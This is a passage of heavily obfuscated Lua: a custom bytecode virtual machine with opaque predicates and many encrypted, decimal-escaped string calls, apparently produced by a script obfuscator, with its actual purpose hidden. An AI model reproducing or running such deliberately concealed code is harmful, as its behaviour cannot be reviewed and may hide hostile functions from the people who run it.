c=(a+7360)M=M+1 end end end end else do local a=355.7853672410871;local c={}local d=850;local f=37.135621262959;do for g in(function()return 217 end)do do if(d*85==72250)then do while((a==355.7853672410871)and(f==37.135621262959))and(d+425==1275)do f=155.04841841121117;c[76]=false;a=300.1459977910148;c[344]=(b[5705167])c[461]=(b[61411])d=0;break end end end end ;do if(d*0==0)then do while((a==300.1459977910148)and(f==155.04841841121117)and(c[76]==false)and(c[344]==(b[5705167]))and(c[461]==(b[61411])))and(d+0==0)do c[76]=false;r[(b[5438370])][M]=e;d=378;c[461]=(b[5128113])f=341.4436626214816;c[344]=(b[8508702])a=582.3394205699866;break end end end end ;do if(d*13==1794)then if(d+69==207)and((a==209.48089058372588)and(f==251.60479348847056)and(c[76]==false)and(c[344]==(b[1916572]))and(c[461]==(b[7165794])))then a=355.7853672410871;d=850;f=37.135621262959 end end end ;do if(d+487==1461)and((a==134.9188488149619)and(f==174.19490002295262)and(c[76]==false)and(c[344]==(b[3504309]))and(c[461]==(b[68973])))then break end end ;do if(d*37==13986)then while(d+189==567)and((a==582.3394205699866)and(f==341.4436626214816)and(c[76]==false)and(c[344]==(b[8508702]))and(c[461]==(b[5128113])))do c[461]=(b[68973])M=M+1;f=174.19490002295262;d=974;a=134.9188488149619;c[76]=false;c[344]=(b[3504309])break end end end end end end end end elseif(G==(b[7419154]))then local c;d()c=function(d)local e={}local f=0;for c=1,#d[(b[8944901])]do local c=d[(b[8944901])][c]if(g(c)==(b[3731642]))then e[f]=m({H(c[1])},a)f=f+1 else e[f]=c;f=f+1 end end;d[(b[1846690])]=f;d[(b[5438370])]=e;d[(b[1381338])]=#d[(b[5630718])]local a={}local e=1;do for f=1,#d[(b[2616685])]do a[e]=c(d[(b[2616685])][f])e=e+1 end end ;d[(b[2616685])]=a;d[(b[777527])]=e;return d end;local a=c(e)r[(b[2616685])][L]=a;L=L+1 elseif(G==(b[6895776]))then do while(e>-1)do r[f]=r[f]or{}r[h]=r[h]or{}r[i]=r[i]or{}r[(b[3166390])]=k;r[(b[8119126])]=r[(b[8119126])]or j;e=(e*-1)-(50)end end end end ;return c end;[(b[6078183])]=function(a,c)do if(I~=true and v)then do local a=565.8555138316843;local d=488.78300397148996;local e={}local f=406;for g in(function()return 217 end)do do if(f*12==1548)then do if(f+64==193)and((a==160.84223120248694)and(d==121.27345937851734)and(e[280]==false)and(e[93]==(b[5080197]))and(e[142]==(b[9707177])))then a=565.8555138316843;f=406;d=488.78300397148996 end end end end ;do if(f*56==31696)then if((a==32.30450307329682)and(d==71.40825550745576)and(e[280]==false)and(e[93]==(b[8253111]))and(e[142]==(b[2610024])))and(f+283==849)then break end end end ;if(f*40==16240)then do if(f+203==609)and((a==565.8555138316843)and(d==488.78300397148996))then e[93]=(b[4594434])a=32.69681140681494;e[142]=(b[6394285])f=0;e[280]=false;d=427.14409996538075 end end end;if(f*0==0)then if((a==32.69681140681494)and(d==427.14409996538075)and(e[280]==false)and(e[93]==(b[4594434]))and(e[142]==(b[6394285])))and(f+0==0)then do while(1==1 and v==(#r>-1))do r[c]=(b[972671])end end ;d=71.40825550745576;e[93]=(b[8253111])e[280]=false;e[142]=(b[2610024])f=566;a=32.30450307329682 end end end end;return elseif(r==nil)then r={}end end ;local d=3302;local e=6498;do while(d<e)do e=d-12996;do while(d>(e-11))do e=(d+1991)*2;do while(d<e)do e=d-21172;do while(d>(e-10))do e=(d+1174)*2;do if(c==(b[2325263]))then G=c end end end end ;do if(6604-d)<(e+3306)then d=((e+3302)*2)if(c==(b[6895776]))then G=c end end end end end ;do if d>(e-49016)then e=(d+6604)do if(c==(b[2009893]))then G=c end end end end end end ;if(49016-d)<(e+24554)then d=((e+3302)*2)do if(c==(b[7419154]))then G=c end end end end end ;do if(c~=(b[2325263])and c~=(b[2009893])and c~=(b[6895776])and c~=(b[7419154]))then do local a=568.3205335285655;local c=249.19939304772052;local d=829;local e={}do while(true)do do if((a==308.48533199328756)and(c==52.360290329158445)and(e[577]==false)and(e[714]==(b[1046522]))and(e[889]==(b[9941731])))and(d+310==931)then break end end ;if((a==568.3205335285655)and(c==249.19939304772052))and(d+414==1243)then e[714]=(b[6554704])e[577]=false;d=0;c=291.5077395684343;e[889]=(b[2308674])a=446.28207124825576 end;if(d*0==0)then do if(d+0==0)and((a==446.28207124825576)and(c==291.5077395684343)and(e[577]==false)and(e[714]==(b[6554704]))and(e[889]==(b[2308674])))then c=52.360290329158445;if((b[8063855]))then return F((b[7881704]))end;e[714]=(b[1046522])e[577]=false;e[889]=(b[9941731])d=621;a=308.48533199328756 end end end;do while(d+350==1050)and((a==817.8372397195857)and(c==814.0235677595774)and(e[577]==false)and(e[714]==(b[3307023]))and(e[889]==(b[2035274])))do a=568.3205335285655;c=249.19939304772052;d=829;break end end end end end end end ;return a end}local function d(a,...)do if(I~=true and v)then return F((b[378073]))else v=true end end ;local a,d,e,h,j,o;e=-1;h={}o={}a=1;j={...}d=c()[(b[4802220])]((b[219228]),...)-1;for a=0,d do do if(a>=r[(b[8119126])])then h[a-r[(b[8119126])]]=j[a+1]else o[a]=j[a+1]end end end;local c=r[(b[2148924])]local j=r[(b[5438370])]local p=function(a,c,d,e)if(g(c)==(b[9807359]))then c[(b[4618003])]=c[(b[4618003])]or{}c[(b[4618003])][#c[(b[4618003])]+1]={a,d}end end;do for a,a in K(c)do local c=a[(b[8887677])]do if(c>0)then local d;do if(c==1)then a[(b[9114846])]=j[a[1952]]p(a,a[(b[9114846])],(b[9114846]))end end ;if(c==2 or c==4)then a[(b[4763239])]=j[a[1952]-256]a[(b[104802])]=true;p(a,a[(b[4763239])],(b[4763239]))end;if(c==3 or c==4)then a[(b[8287682])]=j[a[-3467]-256]a[(b[6568605])]=true;p(a,a[(b[8287682])],(b[8287682]))end end end end end ;r[(b[4574918])]=k;local function p()while true do local p,q;q=c[a]p=q[(b[8971289])]a=a+1;do if(not(p>732.5805038753524))then if(not(p>364.94718605531466))then do if(not(208.49447596420538<p))then do if(not(147.7756479020494<p))then if(not(p>46.59499374013209))then if(-19.223200354519104>=p)then return elseif(-19.223200354519104<p)then local a=q[4302]local b=q[1952]do if(b==0)then b=d;e=a+d-1 end end ;do for b=a,a+(b)do o[b]=h[b-a]end end end else if(p>=46.59499374013209)then o[q[4302]]=q[(b[9114846])]end end else if(not(p<=147.7756479020494))then do if(p<=185.984198125548)then if(not(p>173.97633823805057))then o[q[4302]]=(q[1952]~=0)if(q[-3467]~=0)then a=a+1 end else do if(p>=173.97633823805057)then local a,c;do if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end end ;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]]=a+c end end end else if(p>=185.984198125548)then a=a+q[1952]end end end end end end else if(p>=208.49447596420538)then if(not(p>312.75950470561315))then do if(285.9925773001225>=p)then do if(245.4802726360457>=p)then local a,c;do if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end end ;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]]=a-c else local d=q[4302]local f=q[1952]local g=q[-3467]local h=o;do if(g==0)then a=a+1;g=c[a][(b[9872999])]end end ;local a=(g-1)*50;local b=h[d]if(f==0)then f=e-d end;do for c=1,f do b[a+c]=h[d+c]end end end end elseif(p>285.9925773001225)then local a,c;if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]][a]=c end end else if(352.19364792121496>=p)then do if(322.57400291559094>=p)then o[q[4302]]=z[q[(b[9114846])]]else local a;if(q[(b[6568605])])then a=q[(b[8287682])]else a=o[q[-3467]]end;o[q[4302]]=o[q[1952]][a]end end else do if(p>=352.19364792121496)then o[q[4302]]={}end end end end end end end elseif(p>364.94718605531466)then do if(p<=577.9674107279351)then if(not(p>499.44412709865594))then do if(not(p>456.9437288969499))then if(not(382.5326956993887<p))then local b=q[4302]local c=q[-3467]local d=o;local e=b+2;local f={d[b](d[b+1],d[b+2])}do for a=1,c do d[e+a]=f[a]end end ;do if(d[b+3]~=nil)then d[b+2]=d[b+3]else a=a+1 end end elseif(not(382.5326956993887>=p))then local a=q[4302]local a=q[1952]local a;if(q[(b[6568605])])then a=q[(b[8287682])]else a=o[q[-3467]]end;o[q[4302]+1]=o[q[1952]]o[q[4302]]=o[q[1952]][a]end else if(p>=456.9437288969499)then local a,c=n(0,(b[1578221]),r[(b[8376175])][q[1952]+1],z)a.xo8zzI45Ii(0,(b[5438370]),(b[2148924]),(b[8376175]),r[(b[8119126])])o[q[4302]]=function(...)return c(a,...)end end end end elseif(p>499.44412709865594)then if(554.7534752120098>=p)then do if(511.1034000193416>=p)then z[q[(b[9114846])]]=o[q[4302]]elseif(not(511.1034000193416>=p))then do if q[-3467]then if o[q[4302]]then a=a+1 end elseif o[q[4302]]then else a=a+1 end end end end else o[q[4302]]=o[q[1952]]end end elseif(577.9674107279351<p)then if(657.039673917633>=p)then if(p<=619.5114165192613)then do if(not(p>595.9454582570669))then local a=q[4302]local b=q[1952]local c=o;local d,f;local g;local h=0;d={}do if(b~=1)then do if(b~=0)then g=a+b-1 else g=e end end ;for a=a+1,g do d[#d+1]=c[a]end;f={c[a](B(d,1,g-a))}else f={c[a]()}end end ;do for a in K(f)do if(a>h)then h=a end end end ;do return f,h end else do if(p>=595.9454582570669)then local c,d;do if(q[(b[104802])])then c=q[(b[4763239])]else c=o[q[1952]]end end ;do if(q[(b[6568605])])then d=q[(b[8287682])]else d=o[q[-3467]]end end ;if(c==d)~=q[4302]then a=a+1 end end end end end else do if(p>=619.5114165192613)then o[q[4302]]=x[q[1952]]end end end else if(p<=681.5742270605888)then local c,d;do if(q[(b[104802])])then c=q[(b[4763239])]else c=o[q[1952]]end end ;if(q[(b[6568605])])then d=q[(b[8287682])]else d=o[q[-3467]]end;if(c<d)~=q[4302]then a=a+1 end else local a=o;local b=q[1952]local c=a[b]do for b=b+1,q[-3467]do c=c..a[b]end end ;o[q[4302]]=c end end end end end else do if(p>=732.5805038753524)then if(3042.8360089510275>=p)then do if(p<=983.230314521086)then do if(839.7332343695101>=p)then do if(p<=816.9604762258247)then if(not(794.633996683065<p))then local a=q[4302]local b=q[1952]local c=q[-3467]local d=o;local f;do if b==0 then f=e-a else f=b-1 end end ;local b,f=i(d[a](B(d,a+1,a+f)))do if c==0 then e=a+b-1;b=b+a-1 else b=a+c-2 end end ;local c=0;for a=a,b+a do c=c+1;d[a]=f[c]end elseif(not(794.633996683065>=p))then local a,c;if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]]=a*c end elseif(p>816.9604762258247)then o[q[4302]]=(not o[q[1952]])end end elseif(not(839.7332343695101>=p))then do if(p<=929.5748028711919)then if(p<=900.7923293946303)then local d=r[(b[8376175])][q[1952]+1]local e=o;local f;local g;if(d[(b[4901642])]~=0)then f={}g=m({},{[(b[6078183])]=function(a,a)local a=f[a]return a[1][a[2]]end,[(b[1428358])]=function(a,a,b)local a=f[a]a[1][a[2]]=b end})do for d=1,d[(b[7197484])]do do while(c[a]and c[a][(b[7869890])])do a=a+1 end end ;local c=c[a]do if(C[1][c[(b[5695870])]]==true)then f[d-1]={e,c[1952]}elseif(C[2][c[(b[5695870])]]==true)then f[d-1]={x,c[1952]}end end ;a=a+1 end end ;y[#y+1]=f end;local a,b=n(0,(b[1578221]),d,z,g)e[q[4302]]=function(...)return b(a,...)end else if(p>=900.7923293946303)then local a=o;do for b=q[4302],q[1952]do a[b]=nil end end end end elseif(p>929.5748028711919)then x[q[1952]]=o[q[4302]]end end end end elseif(not(983.230314521086>=p))then if(1599.764225929292>=p)then do if(1065.5885081277424>=p)then do if(p<=1013.1285671701094)then local a=q[4302]local b=q[1952]local c=o;local d,f;local g;do if(b==1)then return elseif(b==0)then g=e else g=a+b-2 end end ;f={}d=0;do for a=a,g do d=d+1;f[d]=c[a]end end ;do return f,d end elseif(not(1013.1285671701094>=p))then do for a,c in K(j)do do if(g(c)==(b[9807359])and g(c[1])==(b[6537984]))then local d=o[q[1952]](c[1],D)j[a]=d;do if(c[(b[4618003])])then for a,a in K(c[(b[4618003])])do a[1][a[2]]=d end end end end end end end ;o[q[1952]]=k[q[1952]]end end elseif(not(1065.5885081277424>=p))then do return end end end elseif(1599.764225929292<p)then if(2148.122125390901>=p)then do if(p<=2005.9496846311592)then o[q[4302]]=o[q[1952]]..o[q[1952]+1]else do if(p>=2005.9496846311592)then o[q[1952]]=o[q[4302]]end end end end elseif(p>2148.122125390901)then local a=q[4302]local b=q[1952]local c=q[-3467]local c;if b==0 then c=e-a else c=b-1 end(o[a])(B(o,a+1,a+c))end end end end elseif(p>3042.8360089510275)then if(not(p>6683.317399884777))then if(not(p>4624.06098348861))then do if(4093.8695533044333>=p)then if(p<=3174.6925563423624)then if(o[q[1952]]==q[(b[8287682])])~=q[4302]then a=a+1 end else do if(not(p<=3174.6925563423624))then o[q[4302]]=q[1952]==nil end end end elseif(4093.8695533044333<p)then local a=q[4302]local b=q[1952]local c=q[-3467]local d=o;local c=(c-1)*50;local f=d[a]do if(b==0)then b=e-a end end ;do for b=1,b do f[c+b]=d[a+b]end end end end elseif(p>4624.06098348861)then if(p<=6087.801477115722)then if(p<=6039.569424511666)then A=function(a,b)return a..b end elseif(6039.569424511666<p)then local a=q[4302]local b=q[-3467]local c=o;local d,f=i((c[a])())if b==0 then e=a+d-1;d=d+a-1 else d=a+b-2 end;local b=0;for a=a,d+a do b=b+1;c[a]=f[b]end end else o[q[4302]]=q[4302]~=nil end end else do if(p<=9081.445428132543)then do if(8124.667351971597>=p)then if(not(7370.298587126628<p))then local a=q[1952]k[q[4302]]=o[q[4302]]o[q[4302]]=function(b,c)local d=""local e=a;local g=l(c)-e;t(e,l(b),function(h)d=A(d,s[u(f(b,h),f(c,e))])e=(e>g)and a or e+a end)return d end else do if(p>=7370.298587126628)then local a=q[4302]local b=o;local c,d;local f;f=e;d={}c=0;for a=a,f do c=c+1;d[c]=b[a]end;do return d,c end end end end else do if(p>=8124.667351971597)then i(o[q[4302]]())end end end end else do if(p>=9081.445428132543)then if(p<=9673.950824373243)then o[q[4302]]=o[q[1952]][j[q[-3467]-256]]elseif(9673.950824373243<p)then o[q[4302]]=nil end end end end end end end end end end end ;do if(a>(E-1))then break end end end end;local a,b=p()do if a and(b>0)then return B(a,1,b)end end ;return end;return m({},a),d end;local a,d=n((b[3460004]),{268,475},0,c())a.xo8zzI45Ii(0,(b[5438370]),(b[2148924]),(b[8376175]),0)do local b=a[(b[17072])]a("\65\82\86\113\88\69\106\102\90\124\108\70")()a({0})a("\114\98\94\107\88\13")()a("\92\83\118")()a("\93\79\90\122")()a("\94\69\78\91\68\66\101")()a({0.139})a("\114\69\67\114\78\65\106\96\94\112\99\90")()a(false)a("\53\66\78\107\78")()a("\82\69\67\88\94\92\66\122\76\119\123")()a("\81\69\68\107\89\90\114")()a("\98\65\91\115\82\21\98\103\31\117\110\70")()a("\86\82\82\126\95\80\73\123\71")()a("\81\82\86\104\66\91\108")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\103\69\70\106\66\71\110")()a("\84\73\90\79\74\71\127")()a({255})a("\89\79\84\126\71\101\103\117\70\119\125")()a("\102\84\69\118\69\82")()a("\118\79\69\112\94\65\98\122\90")()a("\121\69\89")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\97\79\89\106\70\87\110\102")()a("\91\65\90\122")()a("\70\80\82\122\79")()a("\70\115\127\89")()a("\97\65\85\115\78")()a("\94\69\78\75\68\121\100\119\84\93\97")()a("\116\83\68\122\89\65")()a("\113\69\84\109\82\69\127")()a("\82\85\94\76\78\71\125\125\92\119")()a("\123\69\64")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\112\82\69\112\89")()a("\70\73\91\122\69\65")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\69\76\86\102\77\64\103\52\105\115\98\79\87\82\121")()a("\125\84\67\111\88\15\36\59\77\115\120\17\89\73\104\74\96\93\105\84\116\95\80\123\80\127\68\114\107\6\76\102\67\62\75\100\124\82\122\100\101\122\111\15\34\11\42\16\30\105\126\96\85\81\75\103\91\91\64\113\57\111\99\91\123\37\102\84\84\115\111\79\111")()a({1})a("\114\115\94\101\78\65")()a("\97\89\71\122")()a("\101\65\94\109\88")()a("\86\82\82\126\95\80\71\117\93\119\99")()a("\90\80\86\109\76\103")()a("\74\127\94\113\66\65\84\75")()a("\102\84\69\118\69\82")()a("\83\111\97\76\66\79\110")()a("\80\78\66\114")()a("\66\116\100\79")()a("\97\79\68\107\89\92\101\115")()a("\92\78\94\107")()a("\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121")()a("\93\84\67\111\108\80\127")()a("\70\73\91\122\69\65\74\125\82")()a("\103\65\64\108\78\65")()a("\123\69\64")()a("\71\85\89\76\78\71\125\125\92\119")()a("\98\79\69\116\88\69\106\119\90")()a("\103\69\70\106\66\71\110")()a("\80\78\86\125\71\80")()a("\123\69\64")()a("\96\80\83\126\95\80\71\123\92\121")()a("\66\79\69\116\88\69\106\119\90")()a({0.1})a("\88\73\68\124")()a("\70\98\23\82\68\81\110\103")()a("\86\82\82\126\95\80\95\117\93")()a("\114\115\94\101\78\65")()a("\83\111\97\63\120\92\113\113")()a("\67\65\69\120\88")()a("\69\82\82\123\66\86\127\125\80\124")()a("\115\82\88\114\121\114\73")()a("\76\85\90")()a("\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93")()a("\74\127\84\112\69\70\127\75\96")()a("\114\77\86\107\72\93")()a("\86\82\82\126\95\80\88\120\86\118\106\77")()a("\90\85\67\121\66\65")()a("\70\84\69\122\74\88\123\102\80\125\105\23\79\9")()a("\71\69\89\123\78\71\88\96\90\98\127\90\90")()a("\118\79\89\108\95\84\101\96\76")()a("\114\105\89\107")()a("\123\69\64\124\72\89\100\103\74\96\106")()a("\89\79\64\122\89\97\100\102\76\125")()a("\74\127\94\113\88\65\121\75\96")()a("\86\102\100\111\78\80\111")()a("\101\67\86\115\71")()a("\74\127\89\126\70\80\104\117\83\126")()a("\114\69\67\92\71\90\120\113\76\102")()a("\114\115\94\101\78\65")()a("\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5")()a("\84\78\94\114\74\65\110")()a("\86\102\69\126\70\80\43\71\79\119\106\91")()a("\83\111\97\76\67\90\124")()a("\114\69\67\114\78\65\106\96\94\112\99\90")()a("\116\83\68\122\89\65")()a("\68")()a({0.143})a("\118\79\69\112\94\65\98\122\90")()a("\70\84\86\124\64")()a("\116\83\68\122\89\65")()a("\114\98\94\107\88\6\57")()a("\64\83\82\109\98\91\123\97\75\65\106\77\72\73\127\71")()a("\65\79\80\120\71\80\43\82\112\68")()a("\103\65\64\120\78\65")()a("\103\66\79\126\88\70\110\96\86\118\53\16\17\19\45\27\39\10\45\30\33\29\1")()a("\114\65\90\122")()a("\103\65\64\120\78\65")()a({10})a("\70\80\94\113")()a("\53\66\78\107\78")()a("\83\117\123\83\114\106\71\91\126\86\74\123\97\99\84\99\71")()a("\93\84\67\111\108\80\127")()a("\114\98\94\107\88\13")()a("\112\82\69\112\89")()a("\74\127\94\113\88\65\121\75\96")()a("\86\72\66\113\64")()a("\70\80\94\113\11\119\100\96")()a("\86\102\69\126\70\80\43\95\90\107")()a("\121\79\86\123")()a("\86\79\89\113\78\86\127")()a("\86\102\69\126\70\80")()a("\114\98\94\107\88\3\63")()a("\123\69\64")()a("\114\115\67\109\66\91\108")()a("\74\127\84\112\69\70\127\75\96")()a("\65\72\94\124\64\91\110\103\76")()a("\93\84\67\111\108\80\127")()a("\114\65\90\122")()a("\74\127\94\113\88\65\121\75\96")()a("\79")()a("\103\65\64\120\78\65")()a("\93\69\86\123\71\80\120\103")()a("\86\85\69\109\78\91\127\87\94\127\106\77\95")()a("\97\89\71\122\68\83")()a("\97\65\85\115\78")()a("\82\69\67\92\67\92\103\112\77\119\97")()a("\114\65\90\122")()a("\112\82\69\112\89")()a("\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121")()a("\94\79\69\125\71\90\115")()a("\103\65\64\108\78\65")()a("\103\66\79\126\88\70\110\96\86\118\53\16\17\22\43\27\38\10\43\21\35\29\11")()a("\93\69\86\123")()a("\93\85\90\126\69\90\98\112\109\125\96\75\110\65\110\86")()a("\82\69\67\76\78\71\125\125\92\119")()a("\86\76\94\122\69\65\38\71\86\118\106\91")()a("\70\80\94\113\11\119\100\96\31\89\106\70")()a("\101\67\86\115\71")()a("\116\83\68\122\89\65")()a("\67\65\69\120\88")()a("\114\77\86\107\72\93")()a("\83\111\97\90\69\84\105\120\90\118")()a("\121\79\86\123\88\65\121\125\81\117")()a("\97\79\68\107\89\92\101\115")()a("\74\127\84\112\69\70\127\75\96")()a("\103\65\64\108\78\65")()a("\86\73\69\124\71\80")()a("\67\65\69\120\88")()a("\90\85\67\121\66\65\43\88\80\115\107\90\76")()a("\67\65\69\120\88")()a("\113\69\84\109\82\69\127")()a("\116\83\68\122\89\65")()a("\81\69\84\112\79\80")()a("\97\79\68\107\89\92\101\115")()a("\112\78\84\112\79\80")()a("\123\69\64")()a("\103\65\64\120\78\65")()a("\103\65\64\108\78\65")()a("\101\65\94\109\88")()a("\98\72\94\107\78\89\98\103\75\119\107")()a("\70\67\69\118\91\65")()a("\112\82\69\112\89")()a("\114\105\89\107")()a("\83\73\89\123\109\92\121\103\75\81\103\86\82\68")()a("\118\79\89\108\95\84\101\96\76")()a("\114\98\94\107\88\13")()a("\70\84\86\109\95\80\121\83\74\123")()a("\102\69\89\123\101\90\127\125\89\123\108\94\74\73\115\76")()a("\86\72\86\109\74\86\127\113\77")()a("\114\69\67\114\78\65\106\96\94\112\99\90")()a("\93\84\67\111\108\80\127")()a("\86\82\82\126\95\80\73\125\81\118")()a("\88\73\68\124\78\89\103\117\81\119\96\74\77")()a({400})a("\121\79\86\123\88\65\121\125\81\117")()a("\84\73\90\115\68\86\96\95\90\107")()a("\96\78\71\126\72\94")()a("\59\71\80\48\88\90\121\117")()a("\87\69\86\108\95\21\70\123\91\119")()a("\116\83\68\122\89\65")()a("\74\127\84\112\69\70\127\75\96")()a("\112\78\84\109\82\69\127")()a("\69\82\82\123\66\86\127\125\80\124\78\82\81\85\114\86")()a({4})a("\90\80\86\109\76\103")()a("\114\69\67\92\71\90\120\113\76\102\95\83\95\89\121\80\65\80\95\82\99\94\92\102")()a("\70\84\86\124\64")()a({2})a("\86\79\91\112\89")()a("\95\73\67\107\78\71")()a("\98\65\91\115\82\21\98\103\31\117\110\70")()a("\113\69\84\109\82\69\127")()a("\67\65\69\120\88")()a("\53\66\78\107\78")()a("\94\69\78")()a("\93\84\67\111\108\80\127")()a("\64\80\71\122\89\97\100\102\76\125")()a("\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5")()a("\83\111\97")()a("\86")()a("\97\79\68\107\89\92\101\115")()a("\102\69\67\109\78\84\111\123\81\126\118")()a("\81\69\84\112\79\80")()a("\93\69\86\115\95\93")()a("\103\69\70\106\66\71\110")()a("\65\79\80\120\71\80\111")()a("\121\79\86\123")()a("\86\82\82\126\95\80\95\123\88\117\99\90")()a("\70\98\23\76\91\80\110\112")()a("\118\79\89\113\78\86\127")()a("\66\116\97\79")()a("\80\78\86\125\71\80\111")()a("\118\72\86\109")()a("\103\65\64\120\78\65")()a("\114\115\67\109\66\91\108")()a("\96\78\71\126\72\94")()a("\53\115\94\115\78\91\127\52\126\123\98")()a("\82\69\67\82\68\64\120\113")()a("\103\65\64\108\78\65")()a("\97\89\71\122\68\83")()a("\70\84\86\124\64")()a("\86\72\94\115\79\116\111\112\90\118")()a("\102\69\91\122\72\65")()a("\84\73\90\115\68\86\96")()a("\86\82\82\126\95\80\79\102\80\98\107\80\73\78")()a("\83\73\91\115\78\81")()a("\94\69\78\63\95\90\43\120\80\113\100\31\81\78")()a("\84\73\90\94\95")()a("\96\80\83\126\95\80\77\91\105")()a("\70\72\88\104\11\115\68\66")()a("\94\69\78\92\68\81\110")()a("\90\80\86\109\76\103")()a("\112\78\84\109\82\69\127")()a("\91\65\90\122")()a("\118\79\89\108\95\84\101\96\76")()a("\112\78\84\112\79\80")()a("\81\69\84\112\79\80")()a("\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123")()a("\91\65\90\122")()a("\86\82\82\126\95\80\73\97\75\102\96\81")()a("\69\76\86\102\78\71\120")()a("\121\69\89")()a("\93\84\67\111\108\80\127")()a("\98\65\94\107")()a("\86\79\91\112\89\6")()a({30})a("\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123")()a("\112\78\84\112\79\80")()a("\94\69\78\125\66\91\111")()a("\98\72\94\107\78\89\98\103\75\119\107")()a("\118\79\69\112\94\65\98\122\90")()a("\112\78\84\109\82\69\127")()a("\116\83\68\122\89\65")()a("\118\79\69\112\94\65\98\122\90")()a("\91\65\90\122")()end;do local c={}local function d(d)local g={}local h=1;local i=#d-1;local j=function(a)a=a or 1;local b=j(d,h,h+(a-1))h=h+a;return b end;local k=function()local a,b=f(d,h,h+1)h=h+2;return(b*256)+a end;local l=function()local a,b,c=f(d,h,h+2)h=h+3;return(c*65536)+(b*256)+a end;local m=function()local a,b,c,d=f(d,h,h+3)h=h+4;return(d*16777216)+(c*65536)+(b*256)+a end;local d=function()local a,b,c,d,e=f(d,h,h+4)h=h+5;return(d*16777216)+(c*65536)+(b*256)+a+(e*4294967296)end;local e,n,o,p=e(0),e(1),e(2),e(3)local p,p,p=f(n),f(o),f(p)local p=a[(b[927190])]local l=function()local a,c,d;local g=j()do if(g==(b[5489369])or g==(b[9286643]))then return a,c,d,g==(b[9286643])else local h=j()do if h==e then a=f(j())elseif h==n then a=j()==(b[2473748])end end ;local f=j()do if f==e then local a=(g==(b[1174534]))and l()or m()do if(g==(b[8303280]))then a=a-131071 end end ;c=a elseif f==n then c=j()==(b[2473748])end end ;do if(g==(b[1174534]))then local a=j()do if a==e then d=l()elseif a==n then d=j()==(b[2473748])end end end end ;return a,c,d,false end end end;while true do local g=j()if g==o then break end;do if g==e then local e={}local g=k()local h,i,k,l=l()local f=f(j())e[(b[3976592])]=l;e[(b[5004852])]=f;e[4302]=h;e[(b[9872999])]=d()e[-3467]=k;e[1952]=i;a(g)(e)do if not l then local a=m()c[a]=g end end end end ;do if g==n then local e={}local g=f(j())local c=c[g]local g,h,i,k=l()local f=f(j())e[1952]=h;e[(b[3976592])]=k;e[(b[5004852])]=f;e[-3467]=i;e[4302]=g;e[(b[9872999])]=d()a(c)(e)end end ;do if h>i then break end end end;do for a,b in K(c)do c[a]=nil end end ;c=nil;return g end;d(v)end;do local c=a[(b[9152197])]local c;c=function(d)local g={}local g=1;local h=#d-1;local h=function(a)a=a or 1;local b=j(d,g,g+(a-1))g=g+a;return b end;local i=function()local a,b,c,d,e=f(d,g,g+4)g=g+5;return(d*16777216)+(c*65536)+(b*256)+a+(e*4294967296)end;local k=function()local a,b,c=f(d,g,g+2)g=g+3;return(c*65536)+(b*256)+a end;local l=function()local a,b,c,d=f(d,g,g+3)g=g+4;return(d*16777216)+(c*65536)+(b*256)+a end;local d=function()local a,b=f(d,g,g+1)g=g+2;return(b*256)+a end;local g=function()local a=l()local b=l()local c=1;local a=(w(b,1,20)*(2^32))+a;local d=w(b,21,31)local b=((-1)^w(b,32))if(d==0)then do if(a==0)then return b*0 else d=1;c=0 end end elseif(d==2047)then if(a==0)then return b*(1/0)else return b*(0/0)end end;return o(b,d-1023)*(c+(a/(2^52)))end;local m=function()return l()*4294967296+l()end;local e,m,n,o=e(0),e(1),e(2),e(3)local n,n,n=f(m),f(n),f(o)local a=a[(b[9152197])]local a=function()local a,b,c;local d=f(h())do if(d==6 or d==213)then return a,b,c,d==213 else local g=h()do if g==e then a=f(h())elseif g==m then a=f(h())==212 end end ;local g=h()do if g==e then local a=(d==38)and k()or l()do if(d==237)then a=a-131071 end end ;b=a elseif g==m then b=f(h())==212 end end ;if(d==38)then local a=h()if a==e then c=k()elseif a==m then c=f(h())==212 end end;return a,b,c end end end;local k,n,o=0,0,0;local p={[(b[5438370])]={},[(b[2148924])]={},[(b[8376175])]={}}p[(b[7197484])]=h():byte()p[(b[8119126])]=h():byte()local q={}while(true)do local r=f(h())if(r==222)then local a=l()do for a=0,a-1 do local a=nil;local a=f(h())do local c=386.64811333990673;local d=51;local e=88.54789838486288;local f={}repeat do if((e==67.28453806091493)and(c==389.8552333146105)and(f[633]==false)and(f[341]==(b[7461016]))and(f[180]==(b[7675538])))and(d+196==589)then if(a==203)then o=o+1;local a=l()p[(b[5438370])][o]={j(h(a),1,-2)}end;c=172.2020435479825;f[180]=(b[5212208])f[633]=false;f[341]=(b[7448503])d=439;e=252.2402484188213 end end ;do if((e==391.1570969027352)and(c==232.53228771714953)and(f[633]==false)and(f[341]==(b[9030967]))and(f[180]==(b[4452893])))and(d+0==0)then if(a==180)then o=o+1;p[(b[5438370])][o]=nil end;f[633]=false;e=172.05968510366665;d=118;c=94.46460056993577;f[341]=(b[513678])f[180]=(b[2540804])end end ;do if(d*11==1298)then do if((e==172.05968510366665)and(c==94.46460056993577)and(f[633]==false)and(f[341]==(b[513678]))and(f[180]==(b[2540804])))and(d+59==177)then f[180]=(b[4402315])e=502.4361528526908;f[633]=false;d=178;if(a==95)then o=o+1;p[(b[5438370])][o]=false end;f[341]=(b[4022297])c=272.7212716449098 end end end end ;if(d*82==67486)then 